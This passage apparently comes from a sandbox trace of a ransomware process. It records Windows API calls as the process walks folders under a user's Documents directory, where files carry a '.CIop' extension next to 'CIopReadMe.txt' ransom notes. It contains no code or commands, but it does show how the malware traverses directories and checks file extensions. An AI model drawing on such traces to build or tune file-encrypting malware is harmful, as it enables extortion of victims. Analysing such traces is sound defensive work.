lpFindFileData=0x2dc2708 | out: lpFindFileData=0x2dc2708) returned 1 [0117.963] FindNextFileW (in: hFindFile=0x67dd78, lpFindFileData=0x2dc2708 | out: lpFindFileData=0x2dc2708) returned 1 [0117.963] FindNextFileW (in: hFindFile=0x67dd78, lpFindFileData=0x2dc2708 | out: lpFindFileData=0x2dc2708) returned 1 [0117.963] FindNextFileW (in: hFindFile=0x67dd78, lpFindFileData=0x2dc2708 | out: lpFindFileData=0x2dc2708) returned 0 [0117.964] FindClose (in: hFindFile=0x67dd78 | out: hFindFile=0x67dd78) returned 1 [0117.964] FindClose (in: hFindFile=0x67dd78 | out: hFindFile=0x67dd78) returned 0 [0117.964] FindNextFileW (in: hFindFile=0x67db78, lpFindFileData=0x2dc4340 | out: lpFindFileData=0x2dc4340) returned 1 [0117.964] lstrcmpW (lpString1="7Hk2Lc8bYx_mxaoZre", lpString2="..") returned 1 [0117.964] lstrcmpW (lpString1="7Hk2Lc8bYx_mxaoZre", lpString2=".") returned 1 [0117.964] lstrcpyW (in: lpString1=0x2dc49a0, lpString2="C:\\Users\\CIiHmnxMn6Ps\\Documents\\WZsO9vKmM1PXfg\\us_5U4ni7qwInOUE\\-3ostnyb" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\Documents\\WZsO9vKmM1PXfg\\us_5U4ni7qwInOUE\\-3ostnyb") returned="C:\\Users\\CIiHmnxMn6Ps\\Documents\\WZsO9vKmM1PXfg\\us_5U4ni7qwInOUE\\-3ostnyb" [0117.964] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\Documents\\WZsO9vKmM1PXfg\\us_5U4ni7qwInOUE\\-3ostnyb", lpString2="\\" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\Documents\\WZsO9vKmM1PXfg\\us_5U4ni7qwInOUE\\-3ostnyb\\") returned="C:\\Users\\CIiHmnxMn6Ps\\Documents\\WZsO9vKmM1PXfg\\us_5U4ni7qwInOUE\\-3ostnyb\\" [0117.964] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\Documents\\WZsO9vKmM1PXfg\\us_5U4ni7qwInOUE\\-3ostnyb\\", lpString2="7Hk2Lc8bYx_mxaoZre" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\Documents\\WZsO9vKmM1PXfg\\us_5U4ni7qwInOUE\\-3ostnyb\\7Hk2Lc8bYx_mxaoZre") returned="C:\\Users\\CIiHmnxMn6Ps\\Documents\\WZsO9vKmM1PXfg\\us_5U4ni7qwInOUE\\-3ostnyb\\7Hk2Lc8bYx_mxaoZre" [0117.964] SetErrorMode (uMode=0x1) returned 0x1 [0117.964] lstrcpyW (in: lpString1=0x2dc3588, lpString2="C:\\Users\\CIiHmnxMn6Ps\\Documents\\WZsO9vKmM1PXfg\\us_5U4ni7qwInOUE\\-3ostnyb\\7Hk2Lc8bYx_mxaoZre" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\Documents\\WZsO9vKmM1PXfg\\us_5U4ni7qwInOUE\\-3ostnyb\\7Hk2Lc8bYx_mxaoZre") returned="C:\\Users\\CIiHmnxMn6Ps\\Documents\\WZsO9vKmM1PXfg\\us_5U4ni7qwInOUE\\-3ostnyb\\7Hk2Lc8bYx_mxaoZre" [0117.964] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\Documents\\WZsO9vKmM1PXfg\\us_5U4ni7qwInOUE\\-3ostnyb\\7Hk2Lc8bYx_mxaoZre", lpString2="\\" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\Documents\\WZsO9vKmM1PXfg\\us_5U4ni7qwInOUE\\-3ostnyb\\7Hk2Lc8bYx_mxaoZre\\") returned="C:\\Users\\CIiHmnxMn6Ps\\Documents\\WZsO9vKmM1PXfg\\us_5U4ni7qwInOUE\\-3ostnyb\\7Hk2Lc8bYx_mxaoZre\\" [0117.964] lstrcpyW (in: lpString1=0x2dc3178, lpString2="C:\\Users\\CIiHmnxMn6Ps\\Documents\\WZsO9vKmM1PXfg\\us_5U4ni7qwInOUE\\-3ostnyb\\7Hk2Lc8bYx_mxaoZre\\" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\Documents\\WZsO9vKmM1PXfg\\us_5U4ni7qwInOUE\\-3ostnyb\\7Hk2Lc8bYx_mxaoZre\\") returned="C:\\Users\\CIiHmnxMn6Ps\\Documents\\WZsO9vKmM1PXfg\\us_5U4ni7qwInOUE\\-3ostnyb\\7Hk2Lc8bYx_mxaoZre\\" [0117.964] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\Documents\\WZsO9vKmM1PXfg\\us_5U4ni7qwInOUE\\-3ostnyb\\7Hk2Lc8bYx_mxaoZre\\", lpString2="*.*" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\Documents\\WZsO9vKmM1PXfg\\us_5U4ni7qwInOUE\\-3ostnyb\\7Hk2Lc8bYx_mxaoZre\\*.*") returned="C:\\Users\\CIiHmnxMn6Ps\\Documents\\WZsO9vKmM1PXfg\\us_5U4ni7qwInOUE\\-3ostnyb\\7Hk2Lc8bYx_mxaoZre\\*.*" [0117.964] FindFirstFileW (in: lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Documents\\WZsO9vKmM1PXfg\\us_5U4ni7qwInOUE\\-3ostnyb\\7Hk2Lc8bYx_mxaoZre\\*.*", lpFindFileData=0x2dc2708 | out: lpFindFileData=0x2dc2708) returned 0x67dbf8 [0117.964] PathFindFileNameW (pszPath="C:\\Users\\CIiHmnxMn6Ps\\Documents\\WZsO9vKmM1PXfg\\us_5U4ni7qwInOUE\\-3ostnyb\\7Hk2Lc8bYx_mxaoZre") returned="7Hk2Lc8bYx_mxaoZre" [0117.964] lstrcpyW (in: lpString1=0x2dc1b6c, lpString2="7Hk2Lc8bYx_mxaoZre" | out: lpString1="7Hk2Lc8bYx_mxaoZre") returned="7Hk2Lc8bYx_mxaoZre" [0117.964] FindNextFileW (in: hFindFile=0x67dbf8, lpFindFileData=0x2dc2708 | out: lpFindFileData=0x2dc2708) returned 1 [0117.964] FindNextFileW (in: hFindFile=0x67dbf8, lpFindFileData=0x2dc2708 | out: lpFindFileData=0x2dc2708) returned 1 [0117.964] lstrcmpW (lpString1="CIopReadMe.txt", lpString2="..") returned 1 [0117.964] lstrcmpW (lpString1="CIopReadMe.txt", lpString2=".") returned 1 [0117.964] lstrlenW (lpString="CIopReadMe.txt") returned 14 [0117.964] FindNextFileW (in: hFindFile=0x67dbf8, lpFindFileData=0x2dc2708 | out: lpFindFileData=0x2dc2708) returned 1 [0117.964] lstrcmpW (lpString1="r873fj.xls.CIop", lpString2="..") returned 1 [0117.964] lstrcmpW (lpString1="r873fj.xls.CIop", lpString2=".") returned 1 [0117.964] lstrlenW (lpString=".CIop") returned 5 [0117.964] FindNextFileW (in: hFindFile=0x67dbf8, lpFindFileData=0x2dc2708 | out: lpFindFileData=0x2dc2708) returned 1 [0117.964] lstrcmpW (lpString1="s9_oB4RJJAVSDjPCS.pdf.CIop", lpString2="..") returned 1 [0117.964] lstrcmpW (lpString1="s9_oB4RJJAVSDjPCS.pdf.CIop", lpString2=".") returned 1 [0117.964] lstrlenW (lpString=".CIop") returned 5 [0117.964] FindNextFileW (in: hFindFile=0x67dbf8, lpFindFileData=0x2dc2708 | out: lpFindFileData=0x2dc2708) returned 1 [0117.964] lstrcmpW (lpString1="UmcQX7d.pptx.CIop", lpString2="..") returned 1 [0117.964] lstrcmpW (lpString1="UmcQX7d.pptx.CIop", lpString2=".") returned 1 [0117.964] lstrlenW (lpString=".CIop") returned 5 [0117.964] FindNextFileW (in: hFindFile=0x67dbf8, lpFindFileData=0x2dc2708 | out: lpFindFileData=0x2dc2708) returned 1 [0117.964] lstrcmpW (lpString1="XJ2OD9lQq0BG.docx.CIop", lpString2="..") returned 1 [0117.965] lstrcmpW (lpString1="XJ2OD9lQq0BG.docx.CIop", lpString2=".") returned 1 [0117.965] lstrlenW (lpString=".CIop") returned 5 [0117.965] FindNextFileW (in: hFindFile=0x67dbf8, lpFindFileData=0x2dc2708 | out: lpFindFileData=0x2dc2708) returned 0 [0117.965] FindClose (in: hFindFile=0x67dbf8 | out: hFindFile=0x67dbf8) returned 1 [0117.965] FindClose (in: hFindFile=0x67dbf8 | out: hFindFile=0x67dbf8) returned 0 [0117.965] lstrcpyW (in: lpString1=0x2dc3588, lpString2="C:\\Users\\CIiHmnxMn6Ps\\Documents\\WZsO9vKmM1PXfg\\us_5U4ni7qwInOUE\\-3ostnyb\\7Hk2Lc8bYx_mxaoZre" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\Documents\\WZsO9vKmM1PXfg\\us_5U4ni7qwInOUE\\-3ostnyb\\7Hk2Lc8bYx_mxaoZre") returned="C:\\Users\\CIiHmnxMn6Ps\\Documents\\WZsO9vKmM1PXfg\\us_5U4ni7qwInOUE\\-3ostnyb\\7Hk2Lc8bYx_mxaoZre" [0117.965] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\Documents\\WZsO9vKmM1PXfg\\us_5U4ni7qwInOUE\\-3ostnyb\\7Hk2Lc8bYx_mxaoZre", lpString2="\\*.*" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\Documents\\WZsO9vKmM1PXfg\\us_5U4ni7qwInOUE\\-3ostnyb\\7Hk2Lc8bYx_mxaoZre\\*.*") returned="C:\\Users\\CIiHmnxMn6Ps\\Documents\\WZsO9vKmM1PXfg\\us_5U4ni7qwInOUE\\-3ostnyb\\7Hk2Lc8bYx_mxaoZre\\*.*" [0117.965] FindFirstFileW (in: lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Documents\\WZsO9vKmM1PXfg\\us_5U4ni7qwInOUE\\-3ostnyb\\7Hk2Lc8bYx_mxaoZre\\*.*", lpFindFileData=0x2dc2708 | out: lpFindFileData=0x2dc2708) returned 0x67e078 [0117.965] PathFindFileNameW (pszPath="C:\\Users\\CIiHmnxMn6Ps\\Documents\\WZsO9vKmM1PXfg\\us_5U4ni7qwInOUE\\-3ostnyb\\7Hk2Lc8bYx_mxaoZre") returned="7Hk2Lc8bYx_mxaoZre" [0117.965] lstrcpyW (in: lpString1=0x2dc1b6c, lpString2="7Hk2Lc8bYx_mxaoZre" | out: lpString1="7Hk2Lc8bYx_mxaoZre") returned="7Hk2Lc8bYx_mxaoZre" [0117.965] FindNextFileW (in: hFindFile=0x67e078, lpFindFileData=0x2dc2708 | out: lpFindFileData=0x2dc2708) returned 1 [0117.965] lstrcmpW (lpString1="..", lpString2="..") returned 0 [0117.965] FindNextFileW (in: hFindFile=0x67e078, lpFindFileData=0x2dc2708 | out: lpFindFileData=0x2dc2708) returned 1 [0117.965] FindNextFileW (in: hFindFile=0x67e078, lpFindFileData=0x2dc2708 | out: lpFindFileData=0x2dc2708) returned 1 [0117.965] FindNextFileW (in: hFindFile=0x67e078, lpFindFileData=0x2dc2708 | out: lpFindFileData=0x2dc2708) returned 1 [0117.965] FindNextFileW (in: hFindFile=0x67e078, lpFindFileData=0x2dc2708 | out: lpFindFileData=0x2dc2708) returned 1 [0117.965] FindNextFileW (in: hFindFile=0x67e078, lpFindFileData=0x2dc2708 | out: lpFindFileData=0x2dc2708) returned 1 [0117.965] FindNextFileW (in: hFindFile=0x67e078, lpFindFileData=0x2dc2708 | out: lpFindFileData=0x2dc2708) returned 0 [0117.965] FindClose (in: hFindFile=0x67e078 | out: hFindFile=0x67e078) returned 1 [0117.965] FindClose (in: hFindFile=0x67e078 | out: hFindFile=0x67e078) returned 0 [0117.967] FindNextFileW (in: hFindFile=0x67db78, lpFindFileData=0x2dc4340 | out: lpFindFileData=0x2dc4340) returned 1 [0117.967] FindNextFileW (in: hFindFile=0x67db78, lpFindFileData=0x2dc4340 | out: lpFindFileData=0x2dc4340) returned 1 [0117.967] FindNextFileW (in: hFindFile=0x67db78, lpFindFileData=0x2dc4340 | out: lpFindFileData=0x2dc4340) returned 1 [0117.967] FindNextFileW (in: hFindFile=0x67db78, lpFindFileData=0x2dc4340 | out: lpFindFileData=0x2dc4340) returned 0 [0117.967] FindClose (in: hFindFile=0x67db78 | out: hFindFile=0x67db78) returned 1 [0117.967] FindClose (in: hFindFile=0x67db78 | out: hFindFile=0x67db78) returned 0 [0117.967] FindNextFileW (in: hFindFile=0x67dfb8, lpFindFileData=0x2dc5f78 | out: lpFindFileData=0x2dc5f78) returned 1 [0117.967] lstrcmpW (lpString1="1gqxJ7phl", lpString2="..") returned 1 [0117.967] lstrcmpW (lpString1="1gqxJ7phl", lpString2=".") returned 1 [0117.967] lstrcpyW (in: lpString1=0x2dc65d8, lpString2="C:\\Users\\CIiHmnxMn6Ps\\Documents\\WZsO9vKmM1PXfg\\us_5U4ni7qwInOUE" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\Documents\\WZsO9vKmM1PXfg\\us_5U4ni7qwInOUE") returned="C:\\Users\\CIiHmnxMn6Ps\\Documents\\WZsO9vKmM1PXfg\\us_5U4ni7qwInOUE" [0117.967] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\Documents\\WZsO9vKmM1PXfg\\us_5U4ni7qwInOUE", lpString2="\\" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\Documents\\WZsO9vKmM1PXfg\\us_5U4ni7qwInOUE\\") returned="C:\\Users\\CIiHmnxMn6Ps\\Documents\\WZsO9vKmM1PXfg\\us_5U4ni7qwInOUE\\" [0117.967] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\Documents\\WZsO9vKmM1PXfg\\us_5U4ni7qwInOUE\\", lpString2="1gqxJ7phl" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\Documents\\WZsO9vKmM1PXfg\\us_5U4ni7qwInOUE\\1gqxJ7phl") returned="C:\\Users\\CIiHmnxMn6Ps\\Documents\\WZsO9vKmM1PXfg\\us_5U4ni7qwInOUE\\1gqxJ7phl" [0117.967] SetErrorMode (uMode=0x1) returned 0x1 [0117.967] lstrcpyW (in: lpString1=0x2dc51c0, lpString2="C:\\Users\\CIiHmnxMn6Ps\\Documents\\WZsO9vKmM1PXfg\\us_5U4ni7qwInOUE\\1gqxJ7phl" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\Documents\\WZsO9vKmM1PXfg\\us_5U4ni7qwInOUE\\1gqxJ7phl") returned="C:\\Users\\CIiHmnxMn6Ps\\Documents\\WZsO9vKmM1PXfg\\us_5U4ni7qwInOUE\\1gqxJ7phl" [0117.967] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\Documents\\WZsO9vKmM1PXfg\\us_5U4ni7qwInOUE\\1gqxJ7phl", lpString2="\\" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\Documents\\WZsO9vKmM1PXfg\\us_5U4ni7qwInOUE\\1gqxJ7phl\\") returned="C:\\Users\\CIiHmnxMn6Ps\\Documents\\WZsO9vKmM1PXfg\\us_5U4ni7qwInOUE\\1gqxJ7phl\\" [0117.967] lstrcpyW (in: lpString1=0x2dc4db0, lpString2="C:\\Users\\CIiHmnxMn6Ps\\Documents\\WZsO9vKmM1PXfg\\us_5U4ni7qwInOUE\\1gqxJ7phl\\" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\Documents\\WZsO9vKmM1PXfg\\us_5U4ni7qwInOUE\\1gqxJ7phl\\") returned="C:\\Users\\CIiHmnxMn6Ps\\Documents\\WZsO9vKmM1PXfg\\us_5U4ni7qwInOUE\\1gqxJ7phl\\" [0117.967] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\Documents\\WZsO9vKmM1PXfg\\us_5U4ni7qwInOUE\\1gqxJ7phl\\", lpString2="*.*" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\Documents\\WZsO9vKmM1PXfg\\us_5U4ni7qwInOUE\\1gqxJ7phl\\*.*") returned="C:\\Users\\CIiHmnxMn6Ps\\Documents\\WZsO9vKmM1PXfg\\us_5U4ni7qwInOUE\\1gqxJ7phl\\*.*" [0117.967] FindFirstFileW (in: lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Documents\\WZsO9vKmM1PXfg\\us_5U4ni7qwInOUE\\1gqxJ7phl\\*.*", lpFindFileData=0x2dc4340 | out: lpFindFileData=0x2dc4340) returned 0x67dc38 [0117.967] PathFindFileNameW (pszPath="C:\\Users\\CIiHmnxMn6Ps\\Documents\\WZsO9vKmM1PXfg\\us_5U4ni7qwInOUE\\1gqxJ7phl") returned="1gqxJ7phl" [0117.967] lstrcpyW (in: lpString1=0x2dc37a4, lpString2="1gqxJ7phl" | out: lpString1="1gqxJ7phl") returned="1gqxJ7phl" [0117.967] FindNextFileW (in: hFindFile=0x67dc38, lpFindFileData=0x2dc4340 | out: lpFindFileData=0x2dc4340) returned 1 [0117.967] FindNextFileW (in: hFindFile=0x67dc38, lpFindFileData=0x2dc4340 | out: lpFindFileData=0x2dc4340) returned 1 [0117.967] lstrcmpW (lpString1="CIopReadMe.txt", lpString2="..") returned 1 [0117.967] lstrcmpW (lpString1="CIopReadMe.txt", lpString2=".") returned 1 [0117.967] lstrlenW (lpString="CIopReadMe.txt") returned 14 [0117.967] FindNextFileW (in: hFindFile=0x67dc38, lpFindFileData=0x2dc4340 | out: lpFindFileData=0x2dc4340) returned 1 [0117.968] lstrcmpW (lpString1="LJ2-ZSo63V_7d.xlsx.CIop", lpString2="..") returned 1 [0117.968] lstrcmpW (lpString1="LJ2-ZSo63V_7d.xlsx.CIop", lpString2=".") returned 1 [0117.968] lstrlenW (lpString=".CIop") returned 5 [0117.968] FindNextFileW (in: hFindFile=0x67dc38, lpFindFileData=0x2dc4340 | out: lpFindFileData=0x2dc4340) returned 1 [0117.968] lstrcmpW (lpString1="pdKaXJhzd7zYz7o.doc.CIop", lpString2="..") returned 1 [0117.968] lstrcmpW (lpString1="pdKaXJhzd7zYz7o.doc.CIop", lpString2=".") returned 1 [0117.968] lstrlenW (lpString=".CIop") returned 5 [0117.968] FindNextFileW (in: hFindFile=0x67dc38, lpFindFileData=0x2dc4340 | out: lpFindFileData=0x2dc4340) returned 0 [0117.968] FindClose (in: hFindFile=0x67dc38 | out: hFindFile=0x67dc38) returned 1 [0117.968] FindClose (in: hFindFile=0x67dc38 | out: hFindFile=0x67dc38) returned 0 [0117.968] lstrcpyW (in: lpString1=0x2dc51c0, lpString2="C:\\Users\\CIiHmnxMn6Ps\\Documents\\WZsO9vKmM1PXfg\\us_5U4ni7qwInOUE\\1gqxJ7phl" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\Documents\\WZsO9vKmM1PXfg\\us_5U4ni7qwInOUE\\1gqxJ7phl") returned="C:\\Users\\CIiHmnxMn6Ps\\Documents\\WZsO9vKmM1PXfg\\us_5U4ni7qwInOUE\\1gqxJ7phl" [0117.968] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\Documents\\WZsO9vKmM1PXfg\\us_5U4ni7qwInOUE\\1gqxJ7phl", lpString2="\\*.*" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\Documents\\WZsO9vKmM1PXfg\\us_5U4ni7qwInOUE\\1gqxJ7phl\\*.*") returned="C:\\Users\\CIiHmnxMn6Ps\\Documents\\WZsO9vKmM1PXfg\\us_5U4ni7qwInOUE\\1gqxJ7phl\\*.*" [0117.968] FindFirstFileW (in: lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Documents\\WZsO9vKmM1PXfg\\us_5U4ni7qwInOUE\\1gqxJ7phl\\*.*", lpFindFileData=0x2dc4340 | out: lpFindFileData=0x2dc4340) returned 0x67e2b8 [0117.968] PathFindFileNameW (pszPath="C:\\Users\\CIiHmnxMn6Ps\\Documents\\WZsO9vKmM1PXfg\\us_5U4ni7qwInOUE\\1gqxJ7phl") returned="1gqxJ7phl" [0117.968] lstrcpyW (in: lpString1=0x2dc37a4, lpString2="1gqxJ7phl" | out: lpString1="1gqxJ7phl") returned="1gqxJ7phl" [0117.968] FindNextFileW (in: hFindFile=0x67e2b8, lpFindFileData=0x2dc4340 | out: lpFindFileData=0x2dc4340) returned 1 [0117.968] lstrcmpW (lpString1="..", lpString2="..") returned 0 [0117.968] FindNextFileW (in: hFindFile=0x67e2b8, lpFindFileData=0x2dc4340 | out: lpFindFileData=0x2dc4340) returned 1 [0117.968] FindNextFileW (in: hFindFile=0x67e2b8, lpFindFileData=0x2dc4340 | out: lpFindFileData=0x2dc4340) returned 1 [0117.968] FindNextFileW (in: hFindFile=0x67e2b8, lpFindFileData=0x2dc4340 | out: lpFindFileData=0x2dc4340) returned 1 [0117.968] FindNextFileW (in: hFindFile=0x67e2b8, lpFindFileData=0x2dc4340 | out: lpFindFileData=0x2dc4340) returned 0 [0117.968] FindClose (in: hFindFile=0x67e2b8 | out: hFindFile=0x67e2b8) returned 1 [0117.968] FindClose (in: hFindFile=0x67e2b8 | out: hFindFile=0x67e2b8) returned 0 [0117.968] FindNextFileW (in: hFindFile=0x67dfb8, lpFindFileData=0x2dc5f78 | out: lpFindFileData=0x2dc5f78) returned 1 [0117.968] lstrcmpW (lpString1="4cjd3SaCmW1", lpString2="..") returned 1 [0117.968] lstrcmpW (lpString1="4cjd3SaCmW1", lpString2=".") returned 1 [0117.969] lstrcpyW (in: lpString1=0x2dc65d8, lpString2="C:\\Users\\CIiHmnxMn6Ps\\Documents\\WZsO9vKmM1PXfg\\us_5U4ni7qwInOUE" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\Documents\\WZsO9vKmM1PXfg\\us_5U4ni7qwInOUE") returned="C:\\Users\\CIiHmnxMn6Ps\\Documents\\WZsO9vKmM1PXfg\\us_5U4ni7qwInOUE" [0117.969] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\Documents\\WZsO9vKmM1PXfg\\us_5U4ni7qwInOUE", lpString2="\\" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\Documents\\WZsO9vKmM1PXfg\\us_5U4ni7qwInOUE\\") returned="C:\\Users\\CIiHmnxMn6Ps\\Documents\\WZsO9vKmM1PXfg\\us_5U4ni7qwInOUE\\" [0117.969] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\Documents\\WZsO9vKmM1PXfg\\us_5U4ni7qwInOUE\\", lpString2="4cjd3SaCmW1" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\Documents\\WZsO9vKmM1PXfg\\us_5U4ni7qwInOUE\\4cjd3SaCmW1") returned="C:\\Users\\CIiHmnxMn6Ps\\Documents\\WZsO9vKmM1PXfg\\us_5U4ni7qwInOUE\\4cjd3SaCmW1" [0117.969] SetErrorMode (uMode=0x1) returned 0x1 [0117.969] lstrcpyW (in: lpString1=0x2dc51c0, lpString2="C:\\Users\\CIiHmnxMn6Ps\\Documents\\WZsO9vKmM1PXfg\\us_5U4ni7qwInOUE\\4cjd3SaCmW1" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\Documents\\WZsO9vKmM1PXfg\\us_5U4ni7qwInOUE\\4cjd3SaCmW1") returned="C:\\Users\\CIiHmnxMn6Ps\\Documents\\WZsO9vKmM1PXfg\\us_5U4ni7qwInOUE\\4cjd3SaCmW1" [0117.969] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\Documents\\WZsO9vKmM1PXfg\\us_5U4ni7qwInOUE\\4cjd3SaCmW1", lpString2="\\" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\Documents\\WZsO9vKmM1PXfg\\us_5U4ni7qwInOUE\\4cjd3SaCmW1\\") returned="C:\\Users\\CIiHmnxMn6Ps\\Documents\\WZsO9vKmM1PXfg\\us_5U4ni7qwInOUE\\4cjd3SaCmW1\\" [0117.969] lstrcpyW (in: lpString1=0x2dc4db0, lpString2="C:\\Users\\CIiHmnxMn6Ps\\Documents\\WZsO9vKmM1PXfg\\us_5U4ni7qwInOUE\\4cjd3SaCmW1\\" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\Documents\\WZsO9vKmM1PXfg\\us_5U4ni7qwInOUE\\4cjd3SaCmW1\\") returned="C:\\Users\\CIiHmnxMn6Ps\\Documents\\WZsO9vKmM1PXfg\\us_5U4ni7qwInOUE\\4cjd3SaCmW1\\" [0117.969] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\Documents\\WZsO9vKmM1PXfg\\us_5U4ni7qwInOUE\\4cjd3SaCmW1\\", lpString2="*.*" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\Documents\\WZsO9vKmM1PXfg\\us_5U4ni7qwInOUE\\4cjd3SaCmW1\\*.*") returned="C:\\Users\\CIiHmnxMn6Ps\\Documents\\WZsO9vKmM1PXfg\\us_5U4ni7qwInOUE\\4cjd3SaCmW1\\*.*" [0117.969] FindFirstFileW (in: lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Documents\\WZsO9vKmM1PXfg\\us_5U4ni7qwInOUE\\4cjd3SaCmW1\\*.*", lpFindFileData=0x2dc4340 | out: lpFindFileData=0x2dc4340) returned 0x67e0f8 [0117.969] PathFindFileNameW (pszPath="C:\\Users\\CIiHmnxMn6Ps\\Documents\\WZsO9vKmM1PXfg\\us_5U4ni7qwInOUE\\4cjd3SaCmW1") returned="4cjd3SaCmW1" [0117.969] lstrcpyW (in: lpString1=0x2dc37a4, lpString2="4cjd3SaCmW1" | out: lpString1="4cjd3SaCmW1") returned="4cjd3SaCmW1" [0117.969] FindNextFileW (in: hFindFile=0x67e0f8, lpFindFileData=0x2dc4340 | out: lpFindFileData=0x2dc4340) returned 1 [0117.969] FindNextFileW (in: hFindFile=0x67e0f8, lpFindFileData=0x2dc4340 | out: lpFindFileData=0x2dc4340) returned 1 [0117.969] lstrcmpW (lpString1="3kj8Y-EDPTFO.pptx.CIop", lpString2="..") returned 1 [0117.969] lstrcmpW (lpString1="3kj8Y-EDPTFO.pptx.CIop", lpString2=".") returned 1 [0117.969] lstrlenW (lpString=".CIop") returned 5 [0117.969] FindNextFileW (in: hFindFile=0x67e0f8, lpFindFileData=0x2dc4340 | out: lpFindFileData=0x2dc4340) returned 1 [0117.969] lstrcmpW (lpString1="5NEaCJn_lqI_2wf_A.pdf.CIop", lpString2="..") returned 1 [0117.969] lstrcmpW (lpString1="5NEaCJn_lqI_2wf_A.pdf.CIop", lpString2=".") returned 1 [0117.969] lstrlenW (lpString=".CIop") returned 5 [0117.969] FindNextFileW (in: hFindFile=0x67e0f8, lpFindFileData=0x2dc4340 | out: lpFindFileData=0x2dc4340) returned 1 [0117.969] lstrcmpW (lpString1="CIopReadMe.txt", lpString2="..") returned 1 [0117.969] lstrcmpW (lpString1="CIopReadMe.txt", lpString2=".") returned 1 [0117.969] lstrlenW (lpString="CIopReadMe.txt") returned 14 [0117.969] FindNextFileW (in: hFindFile=0x67e0f8, lpFindFileData=0x2dc4340 | out: lpFindFileData=0x2dc4340) returned 1 [0117.969] lstrcmpW (lpString1="gGPxR1SI06PikWMCd.rtf.CIop", lpString2="..") returned 1 [0117.969] lstrcmpW (lpString1="gGPxR1SI06PikWMCd.rtf.CIop", lpString2=".") returned 1 [0117.969] lstrlenW (lpString=".CIop") returned 5 [0117.969] FindNextFileW (in: hFindFile=0x67e0f8, lpFindFileData=0x2dc4340 | out: lpFindFileData=0x2dc4340) returned 1 [0117.969] lstrcmpW (lpString1="NHki1vMmaXoWuhnR.pdf.CIop", lpString2="..") returned 1 [0117.969] lstrcmpW (lpString1="NHki1vMmaXoWuhnR.pdf.CIop", lpString2=".") returned 1 [0117.969] lstrlenW (lpString=".CIop") returned 5 [0117.969] FindNextFileW (in: hFindFile=0x67e0f8, lpFindFileData=0x2dc4340 | out: lpFindFileData=0x2dc4340) returned 1 [0117.969] lstrcmpW (lpString1="tyDDeYuppbUilesSL.odt.CIop", lpString2="..") returned 1 [0117.969] lstrcmpW (lpString1="tyDDeYuppbUilesSL.odt.CIop", lpString2=".") returned 1 [0117.969] lstrlenW (lpString=".CIop") returned 5 [0117.969] FindNextFileW (in: hFindFile=0x67e0f8, lpFindFileData=0x2dc4340 | out: lpFindFileData=0x2dc4340) returned 0 [0117.969] FindClose (in: hFindFile=0x67e0f8 | out: hFindFile=0x67e0f8) returned 1 [0117.970] FindClose (in: hFindFile=0x67e0f8 | out: hFindFile=0x67e0f8) returned 0 [0117.970] lstrcpyW (in: lpString1=0x2dc51c0, lpString2="C:\\Users\\CIiHmnxMn6Ps\\Documents\\WZsO9vKmM1PXfg\\us_5U4ni7qwInOUE\\4cjd3SaCmW1" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\Documents\\WZsO9vKmM1PXfg\\us_5U4ni7qwInOUE\\4cjd3SaCmW1") returned="C:\\Users\\CIiHmnxMn6Ps\\Documents\\WZsO9vKmM1PXfg\\us_5U4ni7qwInOUE\\4cjd3SaCmW1" [0117.970] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\Documents\\WZsO9vKmM1PXfg\\us_5U4ni7qwInOUE\\4cjd3SaCmW1", lpString2="\\*.*" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\Documents\\WZsO9vKmM1PXfg\\us_5U4ni7qwInOUE\\4cjd3SaCmW1\\*.*") returned="C:\\Users\\CIiHmnxMn6Ps\\Documents\\WZsO9vKmM1PXfg\\us_5U4ni7qwInOUE\\4cjd3SaCmW1\\*.*" [0117.970] FindFirstFileW (in: lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Documents\\WZsO9vKmM1PXfg\\us_5U4ni7qwInOUE\\4cjd3SaCmW1\\*.*", lpFindFileData=0x2dc4340 | out: lpFindFileData=0x2dc4340) returned 0x67e2b8 